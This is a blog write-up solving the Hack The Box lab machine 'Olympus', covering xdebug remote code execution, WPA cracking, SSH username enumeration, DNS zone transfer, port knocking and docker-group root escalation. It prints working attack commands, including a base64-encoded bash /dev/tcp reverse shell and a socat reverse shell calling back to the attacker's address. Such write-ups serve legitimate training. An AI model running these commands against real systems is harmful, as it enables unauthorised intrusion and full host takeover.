Blog

HTB{ Olympus }

Sep 19, 2018 | 13 minutes read

Tags: linux, hack the box, xdebug, docker

Olympus was a fun box. I enjoyed the storyline-style challenge peppered with Greek mythology (I loved these stories as a kid). It was my first time being exposed to xdebug and I haven’t had any real reason to play with wireless since my early education in cybersecurity. I enjoyed the challenge posed by Olympus. The creator, OscarAkaElvis, obviously put a lot of thought into the machine.


htb-badge

Initial Scans

masscan

As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.83.tcp 10.10.10.83
#masscan
open tcp 53 10.10.10.83 1537353799
open tcp 80 10.10.10.83 1537353921
open tcp 2222 10.10.10.83 1537353927
# end
masscan -e tun0 --ports U:0-65535 -oL scan.10.10.10.83.udp --rate 700 10.10.10.83
#masscan
open udp 53 10.10.10.83 1537353817
# end

nmap for tcp

nmap -p 53,80,2222 -sC -sV -oN nmap.scan 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 05:48 CDT
Nmap scan report for 10.10.10.83
Host is up (0.067s latency).

PORT     STATE SERVICE VERSION
53/tcp   open  domain  (unknown banner: Bind)
| dns-nsid: 
|_  bind.version: Bind
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|     bind
|_    Bind
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
2222/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-City of olympia
| ssh-hostkey: 
|   2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
|   256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_  256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
-------------8<-------------
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.22 seconds

nmap for udp

nmap -p 53 -sU -sC -sV -oN nmap.scan.udp 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 05:48 CDT
Nmap scan report for 10.10.10.83
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
53/udp open  domain  (unknown banner: Bind)
| dns-nsid: 
|_  bind.version: Bind
| fingerprint-strings: 
|   DNSVersionBindReq: 
|     version
|     bind
|     Bind
|   NBTStat: 
|     CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_    ROOT-SERVERS
-------------8<-------------
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds

nikto

nikto had some success. Highlighted below is an interesting header, xdebug.

/usr/bin/nikto -host 10.10.10.83
 1- Nikto v2.1.6
 2---------------------------------------------------------------------------
 3+ Target IP:          10.10.10.83
 4+ Target Hostname:    10.10.10.83
 5+ Target Port:        80
 6+ Start Time:         2018-04-23 06:33:22 (GMT-4)
 7---------------------------------------------------------------------------
 8+ Server: Apache
 9+ Uncommon header 'xdebug' found, with contents: 2.5.5
10+ No CGI Directories found (use '-C all' to force check all possible dirs)
11+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
12+ OSVDB-3233: /icons/README: Apache default file found.
13+ 7515 requests: 10 error(s) and 3 item(s) reported on remote host
14+ End Time:           2018-04-23 07:01:25 (GMT-4) (1683 seconds)
15---------------------------------------------------------------------------
16+ 1 host(s) tested

Initial Access w/ xdebug

From the xdebug about page:

Xdebug is an extension for PHP to assist with debugging and development.

There is a metasploit module to accomplish what we’re going to do here, but I think it’s more interesting to see how those kinds of things work underneath.

The basic idea is to setup remote debugging using xdebug. The xdebug documentation has a nice gif to visually depict how remote debugging works. In the context of the gif below, we’re going to be acting as the IDE.

dbgp-setup2

image source

In order to start remote debugging, we’ll need a debugging client. I chose to build xdebug from source. If you’re wondering, there are a lot of ways to communicate with the server, using the DBGp protocol. I chose to use an existing tool, but for the purposes of this box, a simple script could work as well.

apt install php php-dev libtool-bin
git clone git://github.com/xdebug/xdebug.git
cd xdebug
./rebuild.sh 
cd debugclient 
./buildconf
./configure
make && make install 

After building the client, we start it up and have it listening on port 9000.

debugclient

Xdebug Simple DBGp client (0.12.0)
Copyright 2002-2018 by Derick Rethans.

Creating a socket for IPv4.

Waiting for debug server to connect on port 9000.

Also from the xdebug documentation:

When there is a GET (or POST) variable XDEBUG_SESSION_START or the XDEBUG_SESSION cookie is set, Xdebug will try to connect to a debugclient.

Knowing that, a simple request to the webserver is enough to get our remote debugging connection. I used httpie below. It’s a nice tool and has pretty simple syntax.

http 10.10.10.83 'XDEBUG_SESSION_START==10.10.14.77'

Connect
<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="54" idekey="10.10.14.77"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
(cmd) 

Given our debugging session, the next step is to figure out what we can do with it. Checking the core command documentation for DBGp, there appears to be a very useful command: eval.

eval: 
    Evaluate a given string within the current execution context.

    eval -i transaction_id -- {DATA}

The {DATA} in this case needs to be base64 encoded. Since I usually have burp up and running anyway, it’s a nice place to do some quick encoding using the Decoder tab. To generate the callback command, I used a /dev/tcp callback and then wrapped it in a call to php’s system function.

burp-base64

(cmd) eval -i 1 -- c3lzdGVtKCJiYXNoIC1jICcwPCYxOTItO2V4ZWMgMTkyPD4vZGV2L3RjcC8xMC4xMC4xNC43Ny8xMjM0NTtzaCA8JjE5MiA+JjE5MiAyPiYxOTInIik7
nc -nvlp 12345
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
Ncat: Connection from 10.10.10.83.
Ncat: Connection from 10.10.10.83:48702.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

\o/ - initial access: www-data

www-data to icarus

Upgrade Webshell

A webshell is cool, but a full pty shell is much cooler. Statically compiled socat to the rescue!

# on kali 
nc -nvlp 12345 < socat 

# on target 
nc -nv 10.10.14.77 12345 > socat

# on kali 
socat file:`tty`,raw,echo=0 tcp-listen:4444  

# on target 
socat tcp-connect:10.10.14.77:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane

Once that is taken care of, time to enumerate.

bash LinEnum.sh -k pass -r linenum.www-data.out -t -e /dev/shm 

papyrus.txt

LinEnum.sh output includes some stuff that looks interesting. There is papyrus.txt and captured.cap. The text file is a hint for the next step, while the .cap file is a pcap that we can pull back and examine.

/home/zeus/airgeddon/captured/papyrus.txt
═════════════════════════════════════════
Captured while flying. I'll banish him to Olympia - Zeus

In case you missed it in the nmap scan, the banner for the ssh server running on port 2222 looks like this

2222/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-City of olympia

captured.cap

/home/zeus/airgeddon/captured/captured.cap

I was curious about the path to this pcap, specifically, what is airgeddon? It turns out that its a wireless network auditing tool.

airgeddon-banner

After pulling the pcap back, we can open it in wireshark. It’s not surprising to see wireless traffic in the pcap, considering the tool that presumably generated it is designed to audit wireless networks. I opened up the first packet and pulled out two pieces of information that we need to proceed.

First, the SSID is set to Too_cl0se_to_th3_Sun. Keeping in line with the Greek mythology clues, the SSID is a clear reference to the story of Icarus. We don’t necessarily know what it’s for yet, but all signs point to it being important.

wireshark-ssid

The second piece of information here is that the wireless network in the capture is secured using WEP WPA (thank you to Progentator for pointing out my mistake). One can determine WPA is used by using the filter eapol.type and checking out the 802.1X Authentication section. Knowing that we’re dealing with WPA, cracking the password is almost certainly what’s needed next.

determine-wep

Cracking WEP WPA is relativley straightforward using aircrack-ng. It took about 45 minutes to crack on my VM, ymmv.

aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt

aircrack-ng-finished

After cracking WPA, we’re left with the key flightoficarus.

We now have the following clues

  1. Captured while flying. I’ll banish him to Olympia - Zeus
  2. Too_cl0se_to_th3_Sun
  3. flightoficarus

Putting these three things together correctly takes some patience along with some trial and error. The banished to olympia suggests that we’re supposed to be able to ssh now. After a little bit of guess-work, we can arrive at the following credentials for ssh.

user: icarus
pass: Too_cl0se_to_th3_Sun

The guessing here was a sticking point for a lot of people (myself included). At the time, there was no easy way to verify whether or not a user existed on the box. Fortunately, we’re living in a post-CVE-2018-15473 world, and checking if we have a valid username is trivial on a lot of nix systems. I was thrilled when the initial PoC came out for this CVE and rolled my own implementation. Justin Gardner released his implementation that included the one piece I had not figured out to make my tool work. He wrote the workaround for the add_boolean problem that enabled me to complete my project. Without his code, mine would probably still be unfinished.

When I started writing the tool, I wanted something that was threaded, handled IPv6, and supported wordlists and single user enumeration. I’m pretty sure the only thing it’s missing to make it a truly legit security tool is some ascii art banners. If you’re interested, you can check out mine here.

/opt/cve-2018-15473/ssh-username-enum.py -u icarus -p 2222 10.10.10.83  
[!] Attempted OpenSSH version detection; version not recognized.
[!] Found: SSH-2.0-City of olympia                

[+] icarus found!
ssh -l icarus -p 2222 10.10.10.83
icarus@10.10.10.83's password: 
Last login: Fri Sep 21 12:03:25 2018 from 10.10.14.7
icarus@620b296204a3:~$ 

\o/ - access level: icarus

icarus to User

help_of_the_gods.txt

A simple ls of icarus’s home directory shows an interesting file, help_of_the_gods.txt.

The contents contain what looks like a domain name. That happens to be exactly what we need to do a proper dns zone transfer against the box (recall that tcp port 53 is open).

~/help_of_the_gods.txt
════════════════════════════
Athena goddess will guide you through the dark...

Way to Rhodes...
ctfolympus.htb

DNS Zone Transfer

A simple dig query is enough to perform our zone transfer.

dig -t AXFR -q ctfolympus.htb @10.10.10.83
dig options used:
  
  -t type
    The resource record type to query.
    ... 
    A zone transfer can be requested by specifying a type of AXFR.
          
  -q name 
    The domain name to query.

Below you’ll see the way forward highlighted. The three numbers in parentheses in conjunction with the phrase open a portal suggest port knocking is the way forward.

 1; <<>> DiG 9.11.3-2-Debian <<>> AXFR ctfolympus.htb @10.10.10.83
 2;; global options: +cmd
 3ctfolympus.htb.		86400	IN	SOA	ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
 4ctfolympus.htb.		86400	IN	TXT	"prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
 5ctfolympus.htb.		86400	IN	A	192.168.0.120
 6ctfolympus.htb.		86400	IN	NS	ns1.ctfolympus.htb.
 7ctfolympus.htb.		86400	IN	NS	ns2.ctfolympus.htb.
 8ctfolympus.htb.		86400	IN	MX	10 mail.ctfolympus.htb.
 9crete.ctfolympus.htb.	86400	IN	CNAME	ctfolympus.htb.
10hades.ctfolympus.htb.	86400	IN	CNAME	ctfolympus.htb.
11mail.ctfolympus.htb.	86400	IN	A	192.168.0.120
12ns1.ctfolympus.htb.	86400	IN	A	192.168.0.120
13ns2.ctfolympus.htb.	86400	IN	A	192.168.0.120
14rhodes.ctfolympus.htb.	86400	IN	CNAME	ctfolympus.htb.
15RhodesColossus.ctfolympus.htb. 86400 IN	TXT	"Here lies the great Colossus of Rhodes"
16www.ctfolympus.htb.	86400	IN	CNAME	ctfolympus.htb.
17ctfolympus.htb.		86400	IN	SOA	ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
18;; Query time: 69 msec
19;; SERVER: 10.10.10.83#53(10.10.10.83)
20;; WHEN: Fri Sep 21 09:30:08 CDT 2018
21;; XFR size: 15 records (messages 1, bytes 475)

Portknocking to Open Hades

knockd comes with a command-line tool to do port knocking. If you don’t have it installed, run the command below.

apt install knockd

Once installed, knocking is simple.

knock -d 150 -v 10.10.10.83 3456 8234 62431

knock options used:
  
  -d, --delay <t>      
    wait <t> milliseconds between port hits  
      
  -v, --verbose        
    be verbose  
hitting tcp 10.10.10.83:3456
hitting tcp 10.10.10.83:8234
hitting tcp 10.10.10.83:62431

A quick netcat verification.

nc -nv 10.10.10.83 22 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.83:22.
SSH-2.0-Hades                         

SUCCESS! We’ve opened the portal to hades. Now to actually get in there as the user. The zone transfer asked prometheus (the guy who gave fire to mankind according to greek mythology) to open the portal. That seems like a logical username to try along with the very passwordy-looking St34l_th3_F1re! as the password.

user: prometheus
pass: St34l_th3_F1re!
ssh -l prometheus 10.10.10.83
prometheus@10.10.10.83's password: 

Welcome to
                            
    )         (             
 ( /(     )   )\ )   (      
 )\()) ( /(  (()/(  ))\ (   
((_)\  )(_))  ((_))/((_))\  
| |(_)((_)_   _| |(_)) ((_) 
| ' \ / _` |/ _` |/ -_)(_-< 
|_||_|\__,_|\__,_|\___|/__/ 
                           
prometheus@olympus:~$ 
wc -c user.txt
33 user.txt

\o/ - user access: prometheus

prometheus to root

msg_of_gods.txt

Another ls of the home directory shows another breadcrumb msg_of_gods.txt. Let’s check the contents

~/msg_of_gods.txt
════════════════════════════
Only if you serve well to the gods, you'll be able to enter into the

      _                           
 ___ | | _ _ ._ _ _  ___  _ _  ___
/ . \| || | || ' ' || . \| | |<_-<
\___/|_|`_. ||_|_|_||  _/`___|/__/
        <___'       |_|           

To tell the truth, I didn’t get a whole lot of help from this breadcrumb, but the way ahead was pretty simple to find with basic enumeration.

Privilege Escalation via docker Group Membership

A quick using id shows that we are part of the docker group.

uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)

Normally, any docker command requires you to run it with sudo. This is because the Docker ecosystem inherently gives power to any user that can access the Docker daemon. The Docker daemon will allow access to either the root user or any user in the docker group. Putting a user in the docker group, is the same as giving them root access to the box without the need of a password. Let’s see how it works in practice.

docker container ls
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                    NAMES
f55347f7d27c        crete               "docker-php-entrypoi…"   19 hours ago        Up 19 hours         80/tcp                                   jovial_liskov
d7f85d733c04        crete               "docker-php-entrypoi…"   35 hours ago        Up 35 hours         80/tcp                                   laughing_lumiere
f00ba96171c5        crete               "docker-php-entrypoi…"   5 months ago        Up 2 days           0.0.0.0:80->80/tcp                       crete
ce2ecb56a96e        rodhes              "/etc/bind/entrypoin…"   5 months ago        Up 2 days           0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp   rhodes
620b296204a3        olympia             "/usr/sbin/sshd -D"      5 months ago        Up 2 days           0.0.0.0:2222->22/tcp                     olympia

Now let’s get that root flag.

docker run -d -v /:/hostroot olympia
docker run options used:
  
  -d, --detach      
    Run container in background and print container ID  
      
  -v, --volume list        
    Bind mount a volume  

The important part of the docker command above is really the /:/hostroot. This tells docker that we want to create a volume in the new docker instance of the olympia container. We set the volume to mount the root of the host filesystem (/) at /hostroot inside the instance.

1CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                    NAMES
2549d20e5c267        olympia             "/usr/sbin/sshd -D"      27 seconds ago      Up 26 seconds                                                boring_einstein
3f55347f7d27c        crete               "docker-php-entrypoi…"   19 hours ago        Up 19 hours         80/tcp                                   jovial_liskov
4d7f85d733c04        crete               "docker-php-entrypoi…"   35 hours ago        Up 35 hours         80/tcp                                   laughing_lumiere
5f00ba96171c5        crete               "docker-php-entrypoi…"   5 months ago        Up 2 days           0.0.0.0:80->80/tcp                       crete
6ce2ecb56a96e        rodhes              "/etc/bind/entrypoin…"   5 months ago        Up 2 days           0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp   rhodes
7620b296204a3        olympia             "/usr/sbin/sshd -D"      5 months ago        Up 2 days           0.0.0.0:2222->22/tcp                     olympia

We can see the new instance running, highlighted above. Now we just need to connect.

docker exec -i -t boring_einstein /bin/bash
docker exec options used:
  
  -i, --interactive      
    Keep STDIN open even if not attached
      
  -t, --tty        
    Allocate a pseudo-TTY
root@549d20e5c267:/#

A quick ls of / shows our mounted volume.

1drwxr-xr-x   2 root root 4096 Feb 28  2018 bin
2drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
3drwxr-xr-x   5 root root  340 Sep 21 15:32 dev
4drwxr-xr-x   1 root root 4096 Sep 21 15:32 etc
5drwxr-xr-x   1 root root 4096 Apr  8 11:59 home
6drwxr-xr-x  22 root root 4096 Apr  2 20:48 hostroot
7drwxr-xr-x   1 root root 4096 Sep 13  2015 lib
8SNIP

With the host’s filesystem mounted, we can grab the root flag!

wc -c /hostroot/root/root.txt

33 /hostroot/root/root.txt

\o/ - root access

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. DBGp Documentation
  2. Privilege Escalation via Docker

comments powered by Disqus